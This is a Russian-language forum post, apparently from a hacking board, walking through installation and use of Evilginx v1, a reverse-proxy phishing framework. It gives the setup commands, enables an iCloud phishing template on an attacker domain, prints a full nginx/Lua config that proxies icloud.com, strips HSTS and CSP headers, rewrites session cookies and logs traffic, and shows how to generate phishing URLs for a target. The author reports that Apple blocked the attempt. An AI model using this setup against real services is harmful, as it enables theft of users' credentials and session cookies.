Evilginx - Фреймворк для MITM атак

glassmaster

Новорег
Регистрация
13.06.2020
Сообщения
6
Реакции
3
Баллы
3
1595978334080.png
Evilginx - это инструмент для осуществления атаки типа «человек-в-середине (MITM)», используется для фишинга учетных данных и cookies любой веб-службы. Запуск происходит на HTTP-сервере Nginx, который использует proxy_pass и sub_filter для проксирования и изменения HTTP-контента, перехватывая трафик между клиентом и сервером.

На данный момент существует вторая, актуальная версия инструмента Evilginx 2.0, и логичнее бы начать именно с неё, но я хочу разобраться, как эти инструменты работают, с самого начала, поэтому для экспериментов была выбрана самая первая версия.

В следующих статьях мы поочередно рассмотрим применение различных MITM инструментов на практике, а так же досконально разберемся с принципами их работы.

Со вступительной статьей о работе проксирующих серверов, вы можете ознакомиться по ссылке ниже:

Reverse Proxy - Принципы работы

Теперь рассмотрим основной функционал Evilginx.

Cистема шаблонов конфигурации сайта - позволяет легко создавать новые шаблоны для сайтов. Все они должны быть размещены в отдельных каталогах под каталогом сайтов.

Скрипт установки «один выстрел» и «забудь» (только Debian) - вам больше не придется выполнять утомительную ручную работу, такую как компиляция OpenResty, настройка демона Nginx и склейка всех частей вместе. Теперь весь пакет Evilginx можно установить, просто выполнив скрипт install.sh, который находится в корневом каталоге проекта.

Скрипт Evilginx.py для настройки, разбора логов и генерации URL - в корневом каталоге вы найдете скрипт evilginx.py, который отныне будет действовать как командный центр. Он установит/удалит конфигурации сайта, которые вы хотите включить/отключить в Nginx.

Анализ логов, сбор учетных данных для входа в систему и сеансовых файлов cookie, и помещение их в отдельный каталог входит в его функционал. Он будет генерировать фишинговые URL-адреса для вашего домена, закодированные в base64, чтобы сделать их менее заметными (ну, это вряд ли).

Скрипт, при включении шаблонов сайта, позволит вам настроить вести и обновлять логи каждую минуту. Кроме того, он выполнит сложную работу за вас, получив сертификаты LetsEncrypt SSL/TLS, и автоматически обновит их, сохраняя их актуальность.

Новые шаблоны для популярных сайтов - список шаблонов конфигурации сайта, которые были представлены в этой версии:
  • Facebook
  • Dropbox
  • Linkedin
  • Google
Пример проблем, с которыми может столкнуться разработчик, при попытке создания своего шаблона.

Dropbox - имел защиту от CSRF, которая требовала, чтобы параметр t имел то же значение, что и файл cookie t, отправленный с тем же запросом POST. Значение POST t не устанавливалось автоматически с помощью кода JavaScript, если URL сайта отличался от dropbox.com, и это исправлено с помощью пользовательского кода LUA.

Facebook - использует две версии своего сайта - для настольных компьютеров и для мобильных устройств. Если мобильное устройство обнаружено, пользователь перенаправляется на домен m.facebook.com, который необходимо было проксировать, добавив дополнительный файл конфигурации сайта.

Google - извлекал внешние файлы javascript из домена ssl.gstatic.com, которые необходимо было проксировать отдельно. В противном случае данные не были получены из домена из-за строгих правил Access-Control-Allow-Origin, которые запрещали запросы от доменов, не распознаваемых Google.

Если вы заинтересованы в создании собственных шаблонов сайта, вы можете в качестве примеров рассмотреть предложенные в Evilginx.

Перейдем к установке.

Установку лучше всего производить на чистую Debian, это обусловлено, тем, что предустановленный и настроенный ранее Nginx, будет конфликтовать с настройками Evilginx.

Забудем на время о Kali Linux и т.д., но вторая версия Evilginx прекрасно работает как на pentest - дистрибутивах, так и в Docker.

Код:
git clone https://github.com/kgretzky/evilginx
cd Evilginx

1.png

Код:
chmod +x install.sh
./install.sh

2.png

Дожидаемся такого сообщения от скрипта установки и продолжим:

3.png

В конфигурационном файле nginx ничего примечательного обнаружено не было, проверим список доступных шаблонов:

Код:
./evilginx.py setup –l

4.png

Для проверки более чем достаточно, проведем небольшую атаку на яблочного пользователя.

Перед началом, необходимо обзавестись доменом, который будет предоставлен целевому объекту, а так же сделать проброс портов (опционально).

Включаем фишинговый сайт iCloud, перенаправляя запросы на него с домена maligncorp.com.

Код:
evilginx.py setup --enable icloud -d maligncorp.com

Аргумент -d maligncorp.com указывает на зарегистрированный домен, которым мы владеем. Следуйте инструкциям, отвечая Y на каждый вопрос, и Evilginx должен включить анализ логов и автоматически получить сертификаты SSL/TLS из LetsEncrypt с помощью Certbot.

5.png

Добавляем CNAME в панели управления доменом, для каждого субдомена:

1112.png

Успешным итогом будет служить следующее сообщение:

12.png

Теперь заглянем в директорию - /etc/nginx/sites-enabled, там расположились файлы конфигурации для каждого субдомена.

1133.png

Ниже представлен код одного из конфигурационных файлов:

Код:
log_format icloud_phish '{"remote_addr":"$remote_addr","time":"$time_local","host":"$http_host","request":"$request","status":"$status","referer":"$http_referer","ua":"$http_user_agent","conn":"$connection"$

server {
        listen 80;
        listen 443 ssl;

        server_name www.maligncorp.com;

        ssl_certificate /etc/letsencrypt/live/maligncorp.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/maligncorp.com/privkey.pem;

        ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
        ssl_prefer_server_ciphers on;
        ssl_ciphers 'EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH';

        if ($scheme = http) {
                return 301 https://$server_name$request_uri;
        }

        location / {
                proxy_pass https://www.icloud.com;
                proxy_cookie_domain icloud.com maligncorp.com;
                proxy_redirect https://www.icloud.com/ https://www.maligncorp.com/;

                sub_filter 'icloud.cdn-apple.com' 'icloud.maligncorp.com';
                sub_filter '.icloud.com' '.maligncorp.com';
                sub_filter 'if(!CloudOSBootstrap.isOnSupportedDesktop' 'if(0';
                sub_filter_once off;
                sub_filter_types application/json text/javascript;

                set $auth_token "X%-APPLE%-WEBAUTH%-TOKEN";

                proxy_set_header Accept-Encoding "";
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

                set_unescape_uri $redir $arg_rc;
                set $set_cookies_all "";

                access_log /var/log/evilginx-icloud.log icloud_phish;

                access_by_lua_block {
                        if ngx.var.http_origin ~= nil then
                                val = string.gsub(ngx.var.http_origin, 'www%.maligncorp%.com', 'www.icloud.com')
                                ngx.req.set_header("Origin", val)
                        end

                        if ngx.var.http_referer ~= nil then
                                val = string.gsub(ngx.var.http_referer, 'www%.maligncorp%.com', 'www.icloud.com')
                                ngx.req.set_header("Referer", val)
                        end

                        if ngx.var.http_cookie ~= nil then
                                local c_rc = string.match(ngx.var.http_cookie, "rc=([^;]*)")
                                local c_rd = string.match(ngx.var.http_cookie, "rd=([^;]*)")

                                if c_rc ~= nil and c_rd ~= nil then
                                        ngx.redirect(c_rc)
                                end
                        end
                }

                header_filter_by_lua_block {
                        function get_cookies()
                                local cookies = ngx.header.set_cookie or {}
                                if type(cookies) == "string" then
                                        cookies = {cookies}
                                end
                                return cookies
                        end

                        function add_cookie(cookie)
                                local cookies = get_cookies()
                                table.insert(cookies, cookie)
                                ngx.header.set_cookie = cookies
                        end

                        function exists_cookie(cookie)
                                local cookies = get_cookies()
                                for i, val in ipairs(cookies) do
                                        if string.match(val, "^" .. cookie .. "=") ~= nil then
                                                return true
                                        end
                                end
                                return false
                        end

                        ngx.header["Strict-Transport-Security"] = {}
                        ngx.header["Content-Security-Policy"] = {}

                        if ngx.var.redir ~= "" then
                                local r_url = ngx.var.redir
                                if string.sub(r_url,1,1) == '0' then
                                        val = string.sub(ngx.var.redir, 2)
                                        r_url = ngx.decode_base64(val)
                                end
                                add_cookie("rc=" .. ngx.escape_uri(r_url) .. "; path=/; domain=.maligncorp.com")
                        end

                        if ngx.header.location then
                        end

                        if ngx.var.http_cookie ~= nil then
                                local c_rc = string.match(ngx.var.http_cookie, "rc=([^;]*)")
                                local c_rd = string.match(ngx.var.http_cookie, "rd=([^;]*)")

                                if c_rc ~= nil then
                                        if exists_cookie(ngx.var.auth_token) or c_rd ~= nil then
                                                ngx.header.location = ngx.unescape_uri(c_rc)
                                                add_cookie("rd=true; path=/; domain=.maligncorp.com")
                                        end
                                end
                        end

                        if ngx.header.set_cookie then
                                local cookies = ngx.header.set_cookie
                                if not cookies then return end
                                if type(cookies) ~= "table" then cookies = {cookies} end
                                local newcookies = {}
                                local allcookies = ""
                                for i, val in ipairs(cookies) do
                                        val = string.gsub(val, '; *[mM]ax%-[aA]ge=[^;]*', "")
                                        val = string.gsub(val, '; *[eE]xpires=[^;]*', "")
                                        val = string.gsub(val, '; *[sS]ecure', "")
                                        table.insert(newcookies, val)
                                        if i>1 then allcookies = allcookies .. "||" end
                                        allcookies = allcookies .. val
                                end
                                ngx.header.set_cookie = newcookies
                                ngx.var.set_cookies_all = allcookies
                        end
                }
        }
}
Изучив его, становится понятен принцип маршрутизации пользовательского запроса.

Завершив все настройки и убедившись, что прокси-сервер работает корректно, попробуем перейти в браузере на один из субдоменов прописанных нами ранее, например:

34f.png

Или сгенереровать фишинговые URL для отправки целевому субьекту:

Код:
./evilginx.py genurl -s icloud -r https://itsobr.com/

Как видим, в логах nginx проксирование работает корректно, с задачей мы справились, но сам Apple не позволит осуществить такой фокус, вы столкнетесь со следующей неприятностью:

1212.png

В Burp Suite запрос к фишинговому домену выглядит так:

1313.png

После перенаправления на сайт Apple, срабатывает скрипт, который блокирует попытку входа в аккаунт.

Я не могу точно сказать, какие меры были предприняты, чтобы предотвратить данного рода атаку, но с большой долей вероятности субдомены, которые предлагались Evilginx, расцениваются как мошеннические и блокируются автоматически.

После редиректа на страницу iCloud подключается JavaScript, и сигнализирует об ошибке.

Если отключить выполнение JS в браузере, результат будет не намного лучше:



Так как цель статьи была показать пример работы обратного прокси-сервера на практике, то я думаю, результат получился вполне удовлетворительным.

Что касается других шаблонов, был испробован Google, но учитывая возраст Evilginx, исходный код страницы входа давно изменился, так что на этом вскрытие первой версии можно закончить.




В следующей статье, мы так же подробно рассмотрим работу Evilginx2, который обладает иным функционалом, и более современным подходом к проведению атак MITM.
 
Верх Низ